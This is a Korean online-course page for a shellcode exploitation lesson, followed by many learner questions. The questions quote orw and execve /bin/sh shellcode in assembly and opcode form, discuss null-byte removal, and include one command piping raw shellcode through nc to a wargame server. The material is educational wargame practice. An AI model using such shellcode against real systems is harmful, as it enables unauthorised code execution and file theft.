강의 설명

이번 강의에서는 첫 번째 시스템 해킹의 공격비법을 소개하고, 직접 작성해볼 수 있도록 실습을 준비했습니다.
강의의 개요는 다음과 같습니다.

개요✔
-셸코드 개념
-orw 셸코드 작성 및 디버깅
-execve 셸코드 작성
-관련 워게임 문제 추천

강의 목표
셸코드가 무엇인지 이해하고, 직접 작성 및 디버깅을 할 줄 안다.
이 강의와 관련된 질문들입니다.
45개의 질문
컴파일 오류 질문입니다.
/tmp/ccaNYdlG.s: Assembler message: /tmp/ccaNYdlG.s:11: Error: junk at end of line, first unrecognized character is `1' 해당오류가 뭔지를 모르겠습니다.
#시스템해킹
#공격기법
mov rdi, rsp에 대한 질문입니다.
push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" 여기서 어떻게 0x67 주소도 rdi에 들어가는 지 궁급합니다. push rax가 되었으니 rsp값은 rax만을 가르키지 않나요? 그리고 rdi의 크기가 8바이트 아닌가요 ㅠㅠ 어떤걸 제가 오해하고 있을까요...
#시스템해킹
#공격기법
opcode 형태 질문입니다.
강의에서 /bin/sh 에 대한 execve 셸코드의 opcode는 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" 입니다. 그런데 제가 검색을 해 본 바로는 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" 더군요 어째서 다른것인가요?
#시스템해킹
#공격기법
맥 M1 환경에서 예제 코드 실행
안녕하세요, 맥 M1 환경에서 리눅스 가상환경 열고 예제 코드 실행하려 했는데요 gcc -o orw orw.c -masm=intel 위 명령어 입력하니 gcc: error: unrecognized command-line option ‘-masm=intel’ 해당 에러가 발생하며 실행 되지 않습니다. 서칭 결과 intel은 지원되지 않는다고 하고 arm64 어셈블리어를 사용하라고 하여 gcc -o orw orw.c -arch arm64 명령어를 입력해도 에러가 발생하네요.. M1 환경에서 예제 코드를 돌리려면 어떻게 해야할까요?
#시스템해킹
#공격기법
objdump shellcode 추출
objdump shellcode 추출 부분에서 execve /bin/sh shellcode: 하면 자꾸 execve command not found가 뜹니다 앞에서 컴파일도 제대로 했고 명령어도 제대로 입력했는데 뭐가 문제인지 도저히 모르겠어요
#시스템_해킹
#공격기법
opcode 복사하는법
objdump 를 통해 opcode를 확인하는데 필요한 부분의 opcode를 한줄로 나열해서 보여주는 명령어가 있나요 ? shellcode로 입력하려고 하는데 하나하나 옮겨적기가 힘들어서요.
#시스템_해킹
#공격기법
셸코드 작성시 open syscall에서 xor 사용 문의
push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ; RD_ONLY xor rdx, rdx ; rdx = 0 mov rax, 2 ; rax = 2 ; syscall_open syscall ; open("/tmp/flag", RD_ONLY, NULL) 여기서 xor 사용하지 않고 mov rsi,0 이렇게 작성하면 안되나요 ?
#시스템_해킹
#공격기법
예제에서 stack에 넣기위한 string을 encoding할때 어떻게 해야하나요?
string을 어떤 방식으로 encoding해서 stack에 넣어야하는지 문의드립니다. execve 예제에서 보면 "/bin/sh\x00" 를 입력할 때 0x68732f6e69622f을 넣어줍니다 ``` mov rax, 0x68732f6e69622f push rax mov rdi, rsp ; rdi = "/bin/sh\x00" ``` "/bin/sh\x00" 을 hexa string으로 변환한 결과와 다른 것 같은데, 0x68732f6e69622f 이 값은 어떻게 만들어내는 건가요?
#시스템_해킹
#공격기법
orw shellcode 질문 여러개
1. ``` push 0x67 mov rax, 0x616c662f706d742f push rax ... ``` 두번째 push의 경우 2번에 걸쳐 값을 넣는데 rax를 이용하는 이유가 있나요? 저는 바로 `push 0x616c662f706d742f`를 하면 되지 않나 생각했는데 rax를 쓰는 이유가 있나 궁금합니다. 2. 위처럼 byte 문제로 인해 stack에 나누어서 push하고 syscall을 해도 "/tmp/fla"라고 잘리지 않고 뒤에 "g"까지 이어서 읽을 수 있는 이유가 무엇인가요? 3. 저번 예제를 보니 payload 값을 설정할 때 앞에 b가 붙고 문자열이 오던데 b가 왜 붙는지 궁금합니다.
#시스템_해킹
#공격기법
tmp/flag 가 실행은 됩니다.
근데 글자가 쓰레기 값이 생기진 않아요. 원래 이런건가요? 환경은 20.04 입니다.
#시스템_해킹
#공격기법
[Expolit Tech: Shellcode에서 open]
push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ; RD_ONLY xor rdx, rdx ; rdx = 0 mov rax, 2 ; rax = 2 ; syscall_open syscall ; open("/tmp/flag", RD_ONLY, NULL) 강의 3페이지에서 이 부분에서 첫 번째 줄에서 g인 0x67을 스택에 올리고 두 번째 줄에서 나머지 부분을 더해주는 것까지는 이해했습니다. 그런데 세 번째 줄에서 왜 다시 push rax를 해주는건가요? rax를 비워주기 위한 것인가요?
#시스템_해킹
#공격기법
owr 셸코드 디버깅중 2번째 syscall
DISASM 에서 2번째 syscall 을 보면 buf: 0x7fffffffe338 —▸ 0x7fffffffe367 ◂— 0x6c662f706d742f00 buf가 이렇게 표시가 되는데 왜 저는 범위로 되어있나요
#시스템_해킹
#공격기법
/tmp/flag 값이 이상한 것 같습니다.
챕터 2 orw 셀코드 작성 3페이지 (/tmp/flag)부분 과 아래 구현 파트 2번 그 뒤 페이지까지 /tmp/flag부분 메모리에 적재할시 ```0x616c662f706d742f67``` 혹은 ```0x616c662f706d742f``` 값을 사용하는데 (둘 중 하나는 오타인 것 같습니다.) ```py from tqdm import tqdm changedHex = '' tempStr = "/tmp/flag" print(len(tempStr)) for i in tqdm(range(len(tempStr))): changedHex = hex(ord(tempStr[i])).replace('0x', '') + changedHex print("origin: " + changedHex) # origin: 67616c662f706d742f ``` 파이썬으로 문자열 돌려보면 결과 값이 ```"0x67616c662f706d742f"```로 나오는데 맨 앞 글자를 뒤로 보내는 이유가 있나요?
#시스템_해킹
#공격기법
-masm=intel 오류 질문입니다.
orw.c 파일 컴파일 할때 gcc -o orw orw.c -masm=intel 명령어를 입력하면 gcc: error : unrecognized command-line option '-masm=intel' 이런 오류가 발생합니다. han@forsecure:~/dreamhack$ gcc --version gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. gcc 버전은 위와 같습니다.
#시스템_해킹
#공격기법
rsp를 읽는것에 대하여
g를 푸시한후 /tmp/fla 를 푸쉬한후 rdi에서 이 값을 읽을때 null까지 찾아서 8바이트 이후에도 rsp 한칸 밑에 있는 g까지 읽는건 알겠는데 어디서 null을 넣어준건가요? 코드상에선 그저 push 0x67을 한것 뿐이지 않나요
#시스템_해킹
#공격기법
objdump -d shellcode.o 밑 내용이 출력이 안됩니다.
![](https://dreamhack-media.s3.amazonaws.com/attachments/b6a4c4eb7093c5f421a26a33b11fe85b55492758fcea63803370d03390cadc8f.png)![밑에 파일 내용이 안뜹니다... ] ![](https://dreamhack-media.s3.amazonaws.com/attachments/3bfd7027cfc5094d50ea26a5a4b339b2500059dae02022aeb830f827779035bf.png) 기계어로 번역하는 파일내용이 뜨질 않습니다 ㅜㅜ
#시스템해킹
echo 질문
Ubuntu 22버전입니다. 1. echo의 사용법을 echo "내용" > "파일이름" 으로 알고있었습니다. 예제에서는 /tmp/flag를 파일이름 위치에 넣었는데 그럼 /tmp/flag라는 파일이 생기는 건가요? 아니면 tmp폴더에 flag라는 파일이 생기는건가요? 일단 둘 다 실제로 생성이 안되는거 같아서 질문드립니다. 2. 컴퓨터를 끄기 전에는 ./orw가 잘 실행이 되었는데 다시 켜서 하려하니 ./orw를 실행이 되질 않더군요. 뭐가 문제일까요?
#시스템_해킹
#공격기법
execve 셸코드 작성할때
mov rax, 0x68732f6e69622f 를하는데 0x68732f6e69622 이 값이 무엇을 나타내고 어떻게 구하는지 궁금합니다.
#시스템_해킹
#공격기법
@orw_shellcode 질문
![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/a91bd1f76f8981b3c9fc00b0e1530507aff95d45d5ec9789b212353a2d36e5b9.png)![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/85d9e7368eb841712182ac27167f2efbcc23abaa01867a7b68705c93c6112b22.png)![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/17efd03b764ddeee8762cae4032935d264554f652800420743296f876b8fde80.png)두번째 syscall함수 시행전까지실행하고 x/s로 확인해봤는데 결과가 안나옵니다.
#시스템_해킹
#공격기법
gcc -o orw orw.c -masm=intel에서 -masm이 무얼 의미하는 건가요?
-masm이란 변수에 intel을 저장한다는 건 알 것 같은데, 저 문구를 추가함으로써 무슨 효과가 있는 건지 잘 모르겠습니다.
#시스템_해킹
#공격기법
gdb 오류인지 아닌지 모르겟어요...
4-2 shellcode예제에서 아래 그림과 같이 몇자의 문자열까진 나오는걸 확인하고 ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/f4c00317b5c413bbd17ecd124cb0d7e9f8e8663ec459bec1cae0b73c72b2b718.png) gdb이용해서 예제에 나온것처럼 따라했는데 x/s 로 출력했을때 뒤에 문자열이 아니라 숫자열로 나오는데 이게 맞는건질 모르겟습니다.. ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/ebd0a69493751f13f9f7d3ae1902a7d78a62bbd7f985b674c978b33c8bfd4624.png) ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/695677fdd3f02790c830bec863736b0db283b6c3ba901fa89347211a1097eba0.png) ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/ed24ede8f4bf8ce4917d481927d47c385693979029df2b5cd2c153536c966df2.png) ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/00af92722c943f7df11abae94ef925cecd9d1a347c8af68e36d062eeb0a955ba.png) ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/15e75353477112af1b45daaea8afee8164be3e97b04c372d088cb7378c0f9ab1.png) ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/f4e9e49be7df473ecfc4df3dd758cd4ed2ea2d7cd661c98a0eaa96cfd4b5cadb.png) 버전은 우분투 리눅스 22.04.02lts입니다
#시스템_해킹
push rax 할 때
rax에 문자열을 넣고 rax를 push 하잖아요, push 문자열 하지 않고 rax에 담아서 push하는 이유가 있나요?
#시스템_해킹
#공격기법
명령어 질문
objcopy --dump-section .text=shellcode.bin shellcode.o에서 1 --dump-section의 역할은 무엇인가요? 2 .text=shellcode.bin은 무슨 역할인가요?
#시스템_해킹
#공격기법
질문입니다!
orw shell code를 설명하는 부분을 보면, syscall에 관해 설명하는 데, syscall이 뭔가요?? 그리고 그 다음에하는 세 가지 작업(1 : int ~~, 2 : open ~~, 3 : write ~~)는 무엇을 하는 것 인가요?? 메리 크리스마스 :)
#시스템_해킹
#공격기법
#시스템_해킹
#공격기법
gcc -o orw orw.c -masm=intel
orw 실습을 헀는데 gcc 컴파일이 안되고 자꾸 오류가 뜨네요.. 해결방법 없을까요?? /usr/bin/ld: /tmp/ccjh2b2g.o: relocation R_X86_64_32S against undefined symbol `ris' can not be used when making a PIE object; recompile with -fPIC /usr/bin/ld: final link failed: Nonrepresentable section on output collect2: error: ld returned 1 exit status
#시스템_해킹
#공격기법
시스템해킹-Shell 코드) 쉘코드 컴파일 시 에러 - error: expected declaration specifiers
![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/1734a650deda86c0df4846f95a87df34f8dd3a22220a0036cb353a31115ad2dd.PNG) ![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/64054b85950cc4bed4a3464f3fe24ff6507848bab15b4e67dd971b1ef1d05203.PNG) 예제보면서 한번 따라해봤는데 위에 그림처럼 오류가 납니다. (첫째그림, 두번쨰 그림은 execve) 로드맵 shell코드에서 orw코드와 execve 두개를 예시로 이야기하는데 두개 다 따라해서 똑같은 에러메시지가 나옵니다. 해결방법있을까요?
#shell
#code
#execve
nasm -f elf shellcode.asm의 에러
objdump 를 이용한 shellcode 추출 부분을 공부하고 있는데, $nasm -f elf shellcode.asm 명령어를 입력하면 shellcode.asm:1: error: label or instruction expected at start of line 라는 에러가 뜨는데, shellcode.asm 파일은 예시 그대로 만들어서 원인을 찾을 수 없습니다.
#시스템_해킹
#공격기법
리눅스 64비트 RDI 널 바이트 제거 질문입니다.
혼자서 ORW 쉘코드를 만들고 널 바이트를 제거하는데 27번째 줄에 있는 RDI를 어떻게 처리해야 할지 모르겠어서 질문 올립니다 ㅠㅠ 아래는 어셈블리 코드입니다. ``` 1 section .text 2 3 global _start 4 5 _start: 6 xor rax, rax 7 push rax 8 mov ax, 0x7478 9 push rax 10 mov rax, 0x742e67616c662f2e 11 push rax 12 mov rdi, rsp 13 xor rsi, rsi 14 xor rdx, rdx 15 xor rax, rax 16 mov al, 0x2 17 syscall 18 19 mov rdi, rax 20 mov rsi, rsp 21 sub rsp, 0x11 22 mov dl, 0x11 23 xor rax, rax 24 syscall 25 26 xor rdi, rdi 27 mov rdi, 0x1 28 xor rax, rax 29 mov al, 0x1 30 syscall 31 32 xor rdi, rdi 33 xor rsi, rsi 34 xor rdx, rdx 35 xor rax, rax 36 mov al, 0x3c 37 syscall ``` 이 밑에는 objdump로 기계어를 확인했을 때입니다. 401038 여기 주소의 널 바이트를 제거하고 싶습니다..... ``` orw: file format elf64-x86-64 Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 31 c0 xor %rax,%rax 401003: 50 push %rax 401004: 66 b8 78 74 mov $0x7478,%ax 401008: 50 push %rax 401009: 48 b8 2e 2f 66 6c 61 movabs $0x742e67616c662f2e,%rax 401010: 67 2e 74 401013: 50 push %rax 401014: 48 89 e7 mov %rsp,%rdi 401017: 48 31 f6 xor %rsi,%rsi 40101a: 48 31 d2 xor %rdx,%rdx 40101d: 48 31 c0 xor %rax,%rax 401020: b0 02 mov $0x2,%al 401022: 0f 05 syscall 401024: 48 89 c7 mov %rax,%rdi 401027: 48 89 e6 mov %rsp,%rsi 40102a: 48 83 ec 11 sub $0x11,%rsp 40102e: b2 11 mov $0x11,%dl 401030: 48 31 c0 xor %rax,%rax 401033: 0f 05 syscall 401035: 48 31 ff xor %rdi,%rdi 401038: bf 01 00 00 00 mov $0x1,%edi 40103d: 48 31 c0 xor %rax,%rax 401040: b0 01 mov $0x1,%al 401042: 0f 05 syscall 401044: 48 31 ff xor %rdi,%rdi 401047: 48 31 f6 xor %rsi,%rsi 40104a: 48 31 d2 xor %rdx,%rdx 40104d: 48 31 c0 xor %rax,%rax 401050: b0 3c mov $0x3c,%al 401052: 0f 05 syscall ```
#시스템_해킹
#공격기법
"syscall # exit(0)"
셸코드 작성하는 실습을 해보고있는데 "xor rdi, rdi # rdi = 0\n" "mov rax, 0x3c # rax = sys_exit\n" "syscall # exit(0)" 이 구문을 빼고 작성하였더니 segmentation fault가 뜨고 저 구문을 추가하니 정상적으로 작동하였습니다. 저 3줄의 구문이 무슨 역할을 하는지랑 왜 없으면 에러가 나는지 궁금합니다.
#시스템_해킹
#공격기법
셀코드 전송
``echo -ne \x48\xb8\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x48\xc7\xc0\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x48\xc7\xc0\x01\x00\x00\x0f\x05 | nc host1.dreamhack.games 1433 이렇개 셀코드를 작성하고 전송을햇는데 shellcode 만뜨고 아무것도 안나와요 뭐 틀린점이 있나요? ㅜㅜ
#shell
질문입니다!!
1. 지역변수를 스택에 넣고 뺄 때 push, pop 명령어를 쓰지 않고 sub rsp, 8 이런식으로 하는 이유가 있나요?? 2. push eax하면 스택에 4바이트 저장이고 push rax하면 스택에 8바이트 저장인가요?? 3. push 0x00이면 스택에 1바이트 저장이고 push 0x0000이면 스택에 2바이트 저장인가요?? 4. 매개변수를 rdi, rsi, rdx에 넣는 방식을 찾아보니 fastcall이라는 함수 호출 규약이라고 하던데 syscall은 당연히 fastcall 규약을 따르는 건가요?? 5. 찾아보니 32비트는 호출 규약이 cdecl, stdcall, fastcall이 있고 64비트는 fastcall하나만 있다고 하던데 제 cpu는 64비트 cpu니까 무조건 fastcall 규약을 써야하나요?? 6. 프로그램내에서 여러가지 함수 호출 규약을 사용할 수 있나요?? 예를 들어 a함수는 cdecl규약을 쓰고 b함수는 stdcall규약을 쓰는 식으로 7. 함수 호출 규약을 정하는 것은 프로그램을 작성하는 쪽에서 임의로 지정할 수 있나요?? 아니면 아키텍처에 맞춰서 알아서 지정이 되는 건가요?? 감사합니다!!
#시스템_해킹
#공격기법
mov rax, 0x616c662f706d742f
64비트 cpu 레지스터는 최대 8바이트 데이터만 담을 수 있지 않나요?? 근데 0x616c662f706d742f는 8바이트를 넘어가는 데 데이터 저장이 온전히 되나요?
#시스템_해킹
#공격기법
/tmp/flag
0x616c662f706d742f67 (/tmp/flag) 라고 되어있는데요 0x67616c662f706d742f 가 되어야하는거 아닌가요? 왜 0x67이 뒤로빠졌는지 이해를 못하겠어요! 그리고 구현한 코드보면 또 다르게 나와있어서요 push 0x67 mov rax, 0x616c662f706d742f <<<<<<<< 이 부분도 잘못나온게 아닌가요...ㅠㅠ 이해하기어렵네요 push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ; RD_ONLY xor rdx, rdx ; rdx = 0 mov rax, 2 ; rax = 2 ; syscall_open syscall ; open("/tmp/flag", RD_ONLY, NULL)
#시스템_해킹
#공격기법
0x616c662f706d742f67
왜 스택에 0x616c662f706d742f67(/tmp/flag)를 push 하나요?
#시스템_해킹
#공격기법
read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd mov rsi, rsp sub rsi, 0x30 ; rsi = rsp-0x30 ; buf mov rdx, 0x30 ; rdx = 0x30 ; len mov rax, 0x0 ; rax = 0 ; syscall_read syscall ; read(fd, buf, 0x30) 여기서 mov rsi, rsp 한다음에 sub rsi, 0x30하는 이유가 뭔가요? 그냥 sub rsi, 0x30하면 안되는건가요?
#시스템_해킹
#공격기법
mac gcc -o orw orw.c -masm=intel error
m1 mac인데 64bit arm에서는 어떻게 해야하나요? 애초에 환경이 달라서 어쩔수 없나...
#시스템_해킹
#공격기법
컴파일 후 실행하면 매번 블루스크린
execve 셸코드 컴파일 및 실행 편에서 컴파일 후 실행하면 매번 블루스크린이 뜹니다. PAGE_FAULT_IN_NONEPAGED_AREA 결국 실행하지 못하고 넘어가네요. 코드를 복붙해봐도 같은 현상이 일어납니다. 왜 이러는 걸까요?
#시스템_해킹
#공격기법
C언어로 어셈블리 코드를 만들 때 섹션 구분
C언어로 __asm__으로 시작하는 어셈블리 코드를 직접 짤 때, 변수 부분이 들어가는 .data 섹션이나 .bss 섹션은 코드로 이와 비슷하게 작성하여 건드릴 수 있는지 궁금합니다. 스택에 경로명을 넣는 코드 부분을 바꿔 .data 섹션을 건드려서 코딩을 해보려고 했지만, 성공하지 않아 질문드립니다.
#시스템_해킹
#공격기법
강의 관련 질문
67 61 6c 66 2f 70 6d 74 2f 가 되어야 리틀엔디안으로 입력이 되는 거 아닌가요? //3쪽 슬라이드에는 61 6c 66 2f 70 6d 74 2f 67 으로 나와있는데 뒤에 페이로드?에 적혀있는 내용은 이해할 수 있을 것 같습니다~
#시스템_해킹
#공격기법
push 0x67과 flag의 주소
처음에 push한 0x67이 무슨 값인지, 어떻게 구한 값인지, flag의 주소값은 어떻게 알아서 mov를 한지가 궁금합니다.
#시스템_해킹
#공격기법
push '상수'일 때 크기 제한, rdi가 "/tmp/flag/"를 읽는 방법?
아래 코드 > push 0x67 > mov rax, 0x616c662f706d742f 이렇게 되어 있을 때 그냥 push로 0x616c662f706d742f 값을 스택에 저장하는 방법이 되지 않을까 생각해서 해보았는데 오퍼랜드 형식에 맞지 않다고 에러가 발생하고 위의 값을 4byte크기로 push 했는데 그때는 스택에 저장이 되었습니다. 64bit os 64bit 아키텍처인데 왜 8byte 상수를 push를 통해 스택에 저장하지 못할까 궁금합니다! ------------------------------------------------------------------------------------------------------ > mov rdi, rsp "/tmp/flag"는 총 9byte인데 rdi가 rsp와 같은 영역을 가르킬 때 rdi 딱 9byte까지만 읽는 이유가 뭘까요? 8byte씩 읽는게 아닌가요? 도움 말씀 부탁 드리겠습니다.
#시스템_해킹
#공격기법
제가 하고있는게 맞나 모르겠어서 여쭤봅니다
리눅스, 우분투는 하나도 모르는 뉴비입니다(답답해도 참아주세요..) 우분투 터미널에서 vi orw.c로 ``` __asm__( ".global run_sh\n" "run_sh:\n" "push 0x67\n" "mov rax, 0x616c662f706d742f \n" "push rax\n" "mov rdi, rsp # rdi = '/tmp/flag'\n" "xor rsi, rsi # rsi = 0 ; RD_ONLY\n" "xor rdx, rdx # rdx = 0\n" "mov rax, 2 # rax = 2 ; syscall_open\n" "syscall # open('/tmp/flag', RD_ONLY, NULL)\n" "\n" "mov rdi, rax # rdi = fd\n" "mov rsi, rsp\n" "sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n" "mov rdx, 0x30 # rdx = 0x30 ; len\n" "mov rax, 0x0 # rax = 0 ; syscall_read\n" "syscall # read(fd, buf, 0x30)\n" "\n" "mov rdi, 1 # rdi = 1 ; fd = stdout\n" "mov rax, 0x1 # rax = 1 ; syscall_write\n" "syscall # write(fd, buf, 0x30)\n" "\n" "xor rdi, rdi # rdi = 0\n" "mov rax, 0x3c # rax = sys_exit\n" "syscall # exit(0)"); void run_sh(); int main() { run_sh(); } ``` 코드를 작성한뒤에 :wq로 저장하고 vi /tmp/flag로 들어가서 ``` flag{this_is_open_read_write_shellcode!} ``` 코드를 작성한뒤에 :wq로 저장하고 나와서 ``` gcc -o orw orw.c -masm=intel ./orw ``` 를 입력했습니다 그랬더니 결과가 ``` flag{this_is_open_read_write_shellcode!} v�H�Ujerry@ubuntu:~/Downloads/test$ ``` 가 나왔습니다 이런식으로 해가는게 맞는건가요? (맞는지 아닌지를 몰라서 더이상 진행을 못하겠습니다 ㅠㅠ) 그리고 vi /tmp/flag로 들어가서 ``` echo "flag{this_is_open_read_write_shellcode!}" ``` 를 그대로 입력하면 ./orw를 했을때 ``` echo "flag{this_is_open_read_write_shellcode!}" ``` 그대로만 나오고 &��U이런값들이 안나오더라구요. 이런건 왜 이런건가요?
#시스템_해킹
#공격기법
레지스터에는 특정 상수를 바로 저장하지 못하나요?
``` ;Name: execve.S mov rax, 0x68732f6e69622f push rax mov rdi, rsp ; rdi = "/bin/sh\x00" xor rsi, rsi ; rsi = NULL xor rdx, rdx ; rdx = NULL mov rax, 0x3b ; rax = sys_execve syscall ; execve("/bin/sh", null, null) ``` execve셸코드를 보면 0x68732f6e69622f("/bin/sh\x00")라는 값을 rdi레지스터에 넣기 위해서 mov rax, 0x68732f6e69622f 하는 것이 아니라 rax레지스터에 저장하고 rax을 스택에 푸쉬해서 rdi에 저장하는 방식인데 굳이 바로 rdi레지스터에 저장하지 않고 이런 방식으로 해야 하는 이유가 있나요? 그래서 ``` ;Name: execve_test.S mov rdi, 0x68732f6e69622f xor rsi, rsi ; rsi = NULL xor rdx, rdx ; rdx = NULL mov rax, 0x3b ; rax = sys_execve syscall ; execve("/bin/sh", null, null) ``` 이렇게 만들어서 디버깅 해봤더니 rdi에 0x68732f6e69622f가 들어가긴 하는데 문자열 "/bin/sh"로 인식되지 않아서 execve콜에서 아무일도 일어나지 않네요... 그럼 레지스터에는 주소값만 저장할 수 있는 건가요? 근데 rax엔 0x3b가 바로 들어가는데... rax와 rdi의 차이인건가요?
#시스템_해킹
#공격기법
execve함수를 사용후에 exit함수를 사용하는 이유?
execve함수를 이용하여 쉘을 실행시키는 것은 이해가 됬습니다. 근데 어셈블리어를 보니 execve함수를 실행시킨 이후에 exit(0)함수를 호출시키는데 따로 호출시키는 이유가 있나요?
#시스템_해킹
#공격기법
강의 평점
0.0★ (0)
0
Exploit Tech: Shellcode
0.0★ (0)
Free
상세정보
약 2 hours 소요
보통 난이도
Ubuntu 22.04 64-bit 환경